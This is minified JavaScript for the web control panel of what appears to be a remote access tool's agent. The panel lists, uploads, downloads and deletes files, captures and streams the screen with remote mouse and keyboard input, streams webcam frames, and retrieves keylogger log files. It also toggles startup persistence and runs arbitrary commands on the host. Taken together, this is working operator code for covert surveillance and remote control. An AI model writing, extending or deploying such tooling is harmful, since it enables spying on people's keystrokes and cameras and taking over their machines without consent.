(() => { const errorEl = document.getElementById("error"); const healthEl = document.getElementById("health"); const statusFields = document.getElementById("status-fields"); const pathInput = document.getElementById("file-path"); const fileMeta = document.getElementById("file-meta"); const fileRows = document.getElementById("file-rows"); const shotGallery = document.getElementById("shot-gallery"); const execOut = document.getElementById("exec-out"); const execMeta = document.getElementById("exec-meta"); const logMeta = document.getElementById("log-meta"); const logRows = document.getElementById("log-rows"); const logView = document.getElementById("log-view"); const logViewTitle = document.getElementById("log-view-title"); const startupState = document.getElementById("startup-state"); const startupAdd = document.getElementById("startup-add"); const startupRemove = document.getElementById("startup-remove"); const videoCanvas = document.getElementById("video-canvas"); const videoMeta = document.getElementById("video-meta"); const videoStart = document.getElementById("video-start"); const videoStop = document.getElementById("video-stop"); const videoInteract = document.getElementById("video-interact"); const videoKeyHint = document.getElementById("video-key-hint"); const webcamCanvas = document.getElementById("webcam-canvas"); const webcamMeta = document.getElementById("webcam-meta"); const webcamDevice = document.getElementById("webcam-device"); const webcamStart = document.getElementById("webcam-start"); const webcamStop = document.getElementById("webcam-stop"); let objectUrls = []; let videoRunning = false; let videoTabActive = false; let webcamRunning = false; let selectedLogName = ""; let lastMonitor = { left: 0, top: 0, width: 0, height: 0 }; function showError(message) { errorEl.textContent = message || ""; errorEl.classList.toggle("show", Boolean(message)); } async function readError(res) { try { const data = await res.json(); return data.error || res.statusText; } catch { return res.statusText || "request failed"; } } async function api(url, options) { showError(""); const res = await fetch(url, options); if (!res.ok) { throw new Error(await readError(res)); } return res; } function formatBytes(n) { if (n < 1024) return `${n} B`; const units = ["KB", "MB", "GB", "TB"]; let value = n / 1024; let i = 0; while (value >= 1024 && i < units.length - 1) { value /= 1024; i += 1; } return `${value.toFixed(value >= 10 ? 0 : 1)} ${units[i]}`; } // ponytail: extension allowlist; browsers that can't render still get a tab (download/blank) const previewExt = new Set([ "png", "jpg", "jpeg", "gif", "webp", "svg", "bmp", "ico", "pdf", "txt", "log", "csv", "json", "xml", "html", "htm", "css", "js", "md", "mp4", "webm", "ogg", "mp3", "wav", ]); function isPreviewable(filename) { const i = String(filename).lastIndexOf("."); if (i < 0) return false; return previewExt.has(String(filename).slice(i + 1).toLowerCase()); } function joinPath(base, name) { if (!base) return name; if (/[\\/]$/.test(base)) return base + name; return `${base}\\${name}`; } function parentPath(path) { const trimmed = String(path || "").replace(/[\\/]+$/, ""); const idx = Math.max(trimmed.lastIndexOf("\\"), trimmed.lastIndexOf("/")); if (idx <= 2) return trimmed.slice(0, 3); return trimmed.slice(0, idx); } function revokeShots() { for (const url of objectUrls) URL.revokeObjectURL(url); objectUrls = []; } async function loadHealth() { try { const res = await api("/health"); const data = await res.json(); healthEl.textContent = data.status === "ok" ? "online" : data.status; healthEl.className = "badge ok"; } catch (err) { healthEl.textContent = "offline"; healthEl.className = "badge bad"; showError(err.message); } } async function loadStatus() { const res = await api("/api/v1/status"); const data = await res.json(); const fields = [ ["Hostname", data.hostname], ["User", data.user], ["OS", data.os], ["Architecture", data.architecture], ["Version", data.agent_version], ["Listen", data.listen_address], ["Uptime", `${data.uptime_seconds}s`], ["Local IPs", (data.local_ips || []).join(", ") || "—"], ["Startup", data.startup_enabled ? "enabled" : "disabled"], ]; setStartup(Boolean(data.startup_enabled)); statusFields.replaceChildren( ...fields.map(([label, value]) => { const item = document.createElement("div"); item.className = "status-item"; const dt = document.createElement("dt"); dt.textContent = label; const dd = document.createElement("dd"); dd.textContent = value || "—"; item.append(dt, dd); return item; }) ); } async function uploadFile(file) { const dir = pathInput.value.trim(); if (!dir) { throw new Error("open a folder first"); } const form = new FormData(); form.set("path", dir); form.set("file", file); showError(""); const res = await fetch("/api/v1/upload", { method: "POST", body: form }); if (!res.ok) { throw new Error(await readError(res)); } return res.json(); } async function deleteFile(fullPath, name) { if (!confirm(`Delete ${name}?`)) { return; } const query = new URLSearchParams({ path: fullPath }); await api(`/api/v1/files?${query}`, { method: "DELETE" }); await listFiles(pathInput.value.trim()); } async function listFiles(path) { const query = new URLSearchParams(); if (path) query.set("path", path); query.set("depth", "0"); const res = await api(`/api/v1/files?${query}`); const data = await res.json(); pathInput.value = data.path || ""; const entries = data.entries || []; fileMeta.textContent = `${entries.length} entries`; fileRows.replaceChildren(); for (const entry of entries) { const tr = document.createElement("tr"); const name = document.createElement("td"); name.className = entry.type === "dir" ? "name" : "name file"; name.textContent = entry.name; name.addEventListener("click", () => { const full = joinPath(data.path, entry.name); if (entry.type === "dir") { listFiles(full).catch((err) => showError(err.message)); } else { const link = document.createElement("a"); link.href = `/api/v1/download?path=${encodeURIComponent(full)}`; link.download = entry.name; document.body.append(link); link.click(); link.remove(); } }); const type = document.createElement("td"); type.textContent = entry.type; const size = document.createElement("td"); size.textContent = entry.type === "dir" ? "—" : formatBytes(entry.size || 0); const modified = document.createElement("td"); modified.textContent = entry.modified_time ? new Date(entry.modified_time).toLocaleString() : ""; const action = document.createElement("td"); action.className = "actions"; const full = joinPath(data.path, entry.name); const del = document.createElement("button"); del.type = "button"; del.className = "danger"; del.textContent = "Delete"; del.addEventListener("click", (event) => { event.stopPropagation(); deleteFile(full, entry.name).catch((err) => showError(err.message)); }); action.append(del); if (entry.type === "file" && isPreviewable(entry.name)) { const preview = document.createElement("button"); preview.type = "button"; preview.textContent = "Preview"; preview.addEventListener("click", (event) => { event.stopPropagation(); const url = `/api/v1/download?path=${encodeURIComponent(full)}&inline=1`; window.open(url, "_blank", "noopener"); }); action.append(preview); } tr.append(name, type, size, modified, action); fileRows.append(tr); } } async function captureScreen() { revokeShots(); shotGallery.replaceChildren(); const format = document.getElementById("shot-format").value; const quality = document.getElementById("shot-quality").value; const res = await api(`/api/v1/screenshot?format=${encodeURIComponent(format)}&quality=${encodeURIComponent(quality)}`); const contentType = res.headers.get("content-type") || ""; if (contentType.includes("application/json")) { const data = await res.json(); for (const image of data.images || []) { addShot(base64Blob(image.data_base64, image.content_type), `Monitor ${image.monitor}`); } return; } addShot(await res.blob(), "Display"); } function base64Blob(data, contentType) { const binary = atob(data); const bytes = new Uint8Array(binary.length); for (let i = 0; i < binary.length; i += 1) { bytes[i] = binary.charCodeAt(i); } return new Blob([bytes], { type: contentType || "application/octet-stream" }); } function addShot(blob, caption) { const url = URL.createObjectURL(blob); objectUrls.push(url); const figure = document.createElement("figure"); const img = document.createElement("img"); img.src = url; img.alt = caption; const figcaption = document.createElement("figcaption"); figcaption.className = "meta"; figcaption.textContent = caption; figure.append(img, figcaption); shotGallery.append(figure); } function setStartup(enabled) { startupState.textContent = enabled ? "Startup: enabled" : "Startup: disabled"; startupAdd.disabled = enabled; startupRemove.disabled = !enabled; } async function setStartupEnabled(enabled) { const res = await api("/api/v1/startup", { method: enabled ? "POST" : "DELETE" }); const data = await res.json(); setStartup(Boolean(data.startup_enabled)); loadStatus().catch((err) => showError(err.message)); } function clamp(value, min, max) { const n = Number(value); if (!Number.isFinite(n)) return min; return Math.min(max, Math.max(min, Math.round(n))); } function sleep(ms) { return new Promise((resolve) => setTimeout(resolve, ms)); } async function startVideo() { if (videoRunning) return; videoRunning = true; videoStart.disabled = true; videoStop.disabled = false; while (videoRunning) { const started = Date.now(); try { await pullVideoFrame(); } catch (err) { showError(err.message); } if (!videoRunning) break; const fps = clamp(document.getElementById("video-fps").value, 1, 15); await sleep(Math.max(0, 1000 / fps - (Date.now() - started))); } } function stopVideo() { videoRunning = false; videoStart.disabled = false; videoStop.disabled = true; releaseRemoteModifiers().catch((err) => showError(err.message)); } async function refreshWebcams() { const res = await api("/api/v1/webcam"); const data = await res.json(); const devices = data.devices || []; const prev = webcamDevice.value; webcamDevice.replaceChildren(); if (!devices.length) { const opt = document.createElement("option"); opt.value = ""; opt.textContent = "No webcams found"; webcamDevice.append(opt); webcamMeta.textContent = "No capture devices"; return; } for (const device of devices) { const opt = document.createElement("option"); opt.value = String(device.index); opt.textContent = `${device.index}: ${device.name}${device.version ? ` (${device.version})` : ""}`; webcamDevice.append(opt); } if ([...webcamDevice.options].some((o) => o.value === prev)) { webcamDevice.value = prev; } webcamMeta.textContent = `${devices.length} device(s)`; } async function pullWebcamFrame() { const device = webcamDevice.value; if (device === "") throw new Error("no webcam selected"); const quality = clamp(document.getElementById("webcam-quality").value, 1, 100); const res = await api( `/api/v1/webcam/frame?device=${encodeURIComponent(device)}&format=jpeg&quality=${encodeURIComponent(quality)}` ); const blob = await res.blob(); const bitmap = await createImageBitmap(blob); if (webcamCanvas.width !== bitmap.width || webcamCanvas.height !== bitmap.height) { webcamCanvas.width = bitmap.width; webcamCanvas.height = bitmap.height; } webcamCanvas.getContext("2d").drawImage(bitmap, 0, 0); const w = Number(res.headers.get("X-Webcam-Width") || bitmap.width); const h = Number(res.headers.get("X-Webcam-Height") || bitmap.height); webcamMeta.textContent = `${w}×${h} · device ${device}`; bitmap.close(); } async function startWebcam() { if (webcamRunning) return; webcamRunning = true; webcamStart.disabled = true; webcamStop.disabled = false; while (webcamRunning) { const started = Date.now(); try { await pullWebcamFrame(); } catch (err) { showError(err.message); } if (!webcamRunning) break; const fps = clamp(document.getElementById("webcam-fps").value, 1, 10); await sleep(Math.max(0, 1000 / fps - (Date.now() - started))); } } function stopWebcam() { webcamRunning = false; webcamStart.disabled = false; webcamStop.disabled = true; } async function pullVideoFrame() { const quality = clamp(document.getElementById("video-quality").value, 1, 100); const monitor = clamp(document.getElementById("video-monitor").value, 0, 64); const res = await api(`/api/v1/screenshot?format=jpeg&quality=${quality}&monitor=${monitor}`); lastMonitor = { left: Number(res.headers.get("X-Monitor-Left") || 0), top: Number(res.headers.get("X-Monitor-Top") || 0), width: Number(res.headers.get("X-Monitor-Width") || 0), height: Number(res.headers.get("X-Monitor-Height") || 0), }; const blob = await res.blob(); const bitmap = await createImageBitmap(blob); if (videoCanvas.width !== bitmap.width || videoCanvas.height !== bitmap.height) { videoCanvas.width = bitmap.width; videoCanvas.height = bitmap.height; } const ctx = videoCanvas.getContext("2d"); ctx.drawImage(bitmap, 0, 0); const width = bitmap.width; const height = bitmap.height; bitmap.close(); videoMeta.textContent = `${width}×${height} · monitor ${monitor} @ ${lastMonitor.left},${lastMonitor.top}`; } async function sendClick(event, button) { if (!videoInteract.checked) return; if (!lastMonitor.width || !lastMonitor.height) return; const rect = videoCanvas.getBoundingClientRect(); if (!rect.width || !rect.height) return; const bitmapX = Math.floor((event.clientX - rect.left) * (videoCanvas.width / rect.width)); const bitmapY = Math.floor((event.clientY - rect.top) * (videoCanvas.height / rect.height)); const x = lastMonitor.left + bitmapX; const y = lastMonitor.top + bitmapY; const monitor = clamp(document.getElementById("video-monitor").value, 0, 64); await api("/api/v1/input/click", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ x, y, button, monitor }), }); } const MODIFIER_CODES = new Set([ "ControlLeft", "ControlRight", "ShiftLeft", "ShiftRight", "AltLeft", "AltRight", "MetaLeft", "MetaRight", "OSLeft", "OSRight", ]); const CODE_KEYS = { Enter: "enter", NumpadEnter: "enter", Backspace: "backspace", Tab: "tab", Escape: "escape", Space: "space", Delete: "delete", Insert: "insert", Home: "home", End: "end", PageUp: "pageup", PageDown: "pagedown", ArrowUp: "up", ArrowDown: "down", ArrowLeft: "left", ArrowRight: "right", Semicolon: ";", Equal: "=", Comma: ",", Minus: "-", Period: ".", Slash: "/", Backquote: "`", BracketLeft: "[", Backslash: "\\", BracketRight: "]", Quote: "'", }; for (let i = 0; i <= 9; i += 1) CODE_KEYS[`Digit${i}`] = String(i); for (let i = 0; i < 26; i += 1) { const letter = String.fromCharCode(65 + i); CODE_KEYS[`Key${letter}`] = letter.toLowerCase(); } for (let i = 1; i <= 12; i += 1) CODE_KEYS[`F${i}`] = `f${i}`; const modState = { ctrl: false, alt: false, shift: false, win: false }; function setModButton(name, active) { const button = document.querySelector(`.mod-btn[data-mod="${name}"]`); if (!button) return; button.classList.toggle("active", active); button.setAttribute("aria-pressed", active ? "true" : "false"); } function isTypingTarget(el) { if (!el || el === document.body) return false; const tag = el.tagName; if (tag === "INPUT" || tag === "TEXTAREA" || tag === "SELECT") return true; if (el.isContentEditable) return true; return false; } function setVideoTabActive(active) { if (videoTabActive === active) return; videoTabActive = active; document.removeEventListener("keydown", onVideoKeydown, true); if (active) { document.addEventListener("keydown", onVideoKeydown, true); } } function onVideoKeydown(event) { if (!videoTabActive || !videoInteract.checked) return; if (isTypingTarget(event.target)) return; if (MODIFIER_CODES.has(event.code)) return; const key = keyFromEvent(event); if (!key) return; event.preventDefault(); event.stopPropagation(); sendRemoteKey(key, "tap", transientModifiers(event)).catch((err) => showError(err.message)); } function syncInteractable() { const on = videoInteract.checked; videoCanvas.classList.toggle("view-only", !on); videoKeyHint.textContent = on ? "Keyboard sends to remote while this tab is active" : "View only — enable Interactable to send mouse and keyboard"; document.querySelectorAll(".mod-btn").forEach((button) => { button.disabled = !on; }); if (!on) { releaseRemoteModifiers().catch((err) => showError(err.message)); } } function keyFromEvent(event) { if (CODE_KEYS[event.code]) return CODE_KEYS[event.code]; if (event.key && event.key.length === 1 && /[a-zA-Z0-9]/.test(event.key)) { return event.key.toLowerCase(); } return null; } function transientModifiers(event) { const mods = []; if (event.shiftKey && !modState.shift) mods.push("shift"); if (event.ctrlKey && !modState.ctrl) mods.push("ctrl"); if (event.altKey && !modState.alt) mods.push("alt"); if (event.metaKey && !modState.win) mods.push("win"); return mods; } async function sendRemoteKey(key, action = "tap", modifiers = []) { await api("/api/v1/input/key", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ key, action, modifiers }), }); } async function releaseRemoteModifiers() { const jobs = []; for (const [name, active] of Object.entries(modState)) { if (!active) continue; modState[name] = false; setModButton(name, false); jobs.push(sendRemoteKey(name, "up")); } await Promise.all(jobs); } function downloadLog(name) { const link = document.createElement("a"); link.href = `/api/v1/keylog/download?file=${encodeURIComponent(name)}`; link.download = name; document.body.append(link); link.click(); link.remove(); } async function openLog(name, row) { selectedLogName = name; document.querySelectorAll("tr.log-row.selected").forEach((item) => item.classList.remove("selected")); row?.classList.add("selected"); logViewTitle.textContent = name; logView.hidden = false; logView.textContent = "Loading…"; try { const res = await api(`/api/v1/keylog/download?file=${encodeURIComponent(name)}`); logView.textContent = await res.text(); } catch (err) { logView.textContent = ""; logView.hidden = true; logViewTitle.textContent = ""; showError(err.message); } } async function listKeylogs() { const res = await api("/api/v1/keylog"); const data = await res.json(); const files = data.files || []; logMeta.textContent = `${files.length} files · ${data.directory || ""} · click to view, right-click to save`; logRows.replaceChildren(); for (const file of files) { const tr = document.createElement("tr"); tr.className = "log-row"; if (file.name === selectedLogName) tr.classList.add("selected"); const name = document.createElement("td"); name.className = "log-name"; name.textContent = file.name; name.addEventListener("click", () => { openLog(file.name, tr).catch((err) => showError(err.message)); }); tr.addEventListener("contextmenu", (event) => { event.preventDefault(); downloadLog(file.name); }); const size = document.createElement("td"); size.textContent = formatBytes(file.size || 0); const modified = document.createElement("td"); modified.textContent = file.modified_time ? new Date(file.modified_time).toLocaleString() : ""; tr.append(name, size, modified); logRows.append(tr); } if (selectedLogName && !files.some((file) => file.name === selectedLogName)) { selectedLogName = ""; logView.hidden = true; logView.textContent = ""; logViewTitle.textContent = ""; } else if (selectedLogName) { const row = logRows.querySelector("tr.log-row.selected"); openLog(selectedLogName, row).catch((err) => showError(err.message)); } } async function runCommand() { const command = document.getElementById("exec-command").value.trim(); const timeout = Number(document.getElementById("exec-timeout").value); const res = await api("/api/v1/exec", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ command, timeout_sec: timeout }), }); const data = await res.json(); execMeta.textContent = `exit code ${data.exit_code}`; const stdout = data.stdout || ""; const stderr = data.stderr || ""; execOut.textContent = [stdout, stderr && `STDERR:\n${stderr}`].filter(Boolean).join("\n\n"); } document.querySelectorAll("nav button").forEach((button) => { button.addEventListener("click", () => { document.querySelectorAll("nav button").forEach((item) => item.classList.remove("active")); document.querySelectorAll(".panel").forEach((panel) => panel.classList.remove("active")); button.classList.add("active"); document.getElementById(button.dataset.tab).classList.add("active"); const onVideo = button.dataset.tab === "video"; setVideoTabActive(onVideo); if (!onVideo) { stopVideo(); } if (button.dataset.tab === "logs") { listKeylogs().catch((err) => showError(err.message)); } }); }); document.getElementById("refresh-status").addEventListener("click", () => { Promise.all([loadHealth(), loadStatus()]).catch((err) => showError(err.message)); }); startupAdd.addEventListener("click", () => { setStartupEnabled(true).catch((err) => showError(err.message)); }); startupRemove.addEventListener("click", () => { setStartupEnabled(false).catch((err) => showError(err.message)); }); document.getElementById("file-list").addEventListener("click", () => { listFiles(pathInput.value.trim()).catch((err) => showError(err.message)); }); document.getElementById("file-up").addEventListener("click", () => { listFiles(parentPath(pathInput.value.trim())).catch((err) => showError(err.message)); }); const filePicker = document.getElementById("file-picker"); document.getElementById("file-upload").addEventListener("click", () => { filePicker.click(); }); filePicker.addEventListener("change", () => { const file = filePicker.files[0]; filePicker.value = ""; if (!file) return; uploadFile(file) .then((data) => { fileMeta.textContent = `uploaded ${data.name} (${formatBytes(data.size || 0)})`; return listFiles(pathInput.value.trim()); }) .catch((err) => showError(err.message)); }); document.getElementById("shot-capture").addEventListener("click", () => { captureScreen().catch((err) => showError(err.message)); }); videoStart.addEventListener("click", () => { startVideo().catch((err) => showError(err.message)); }); videoStop.addEventListener("click", () => stopVideo()); document.getElementById("webcam-refresh").addEventListener("click", () => { refreshWebcams().catch((err) => showError(err.message)); }); webcamStart.addEventListener("click", () => { startWebcam().catch((err) => showError(err.message)); }); webcamStop.addEventListener("click", () => stopWebcam()); document.getElementById("webcam-snap").addEventListener("click", () => { pullWebcamFrame().catch((err) => showError(err.message)); }); videoCanvas.addEventListener("click", (event) => { sendClick(event, "left").catch((err) => showError(err.message)); }); videoCanvas.addEventListener("contextmenu", (event) => { event.preventDefault(); sendClick(event, "right").catch((err) => showError(err.message)); }); videoInteract.addEventListener("change", () => syncInteractable()); document.querySelectorAll(".mod-btn").forEach((button) => { button.addEventListener("click", () => { if (!videoInteract.checked) return; const name = button.dataset.mod; if (!name) return; modState[name] = !modState[name]; setModButton(name, modState[name]); sendRemoteKey(name, modState[name] ? "down" : "up").catch((err) => { modState[name] = !modState[name]; setModButton(name, modState[name]); showError(err.message); }); }); }); syncInteractable(); document.getElementById("exec-run").addEventListener("click", () => { runCommand().catch((err) => showError(err.message)); }); document.getElementById("log-refresh").addEventListener("click", () => { listKeylogs().catch((err) => showError(err.message)); }); Promise.all([loadHealth(), loadStatus(), listFiles(""), refreshWebcams()]).catch((err) => showError(err.message)); })();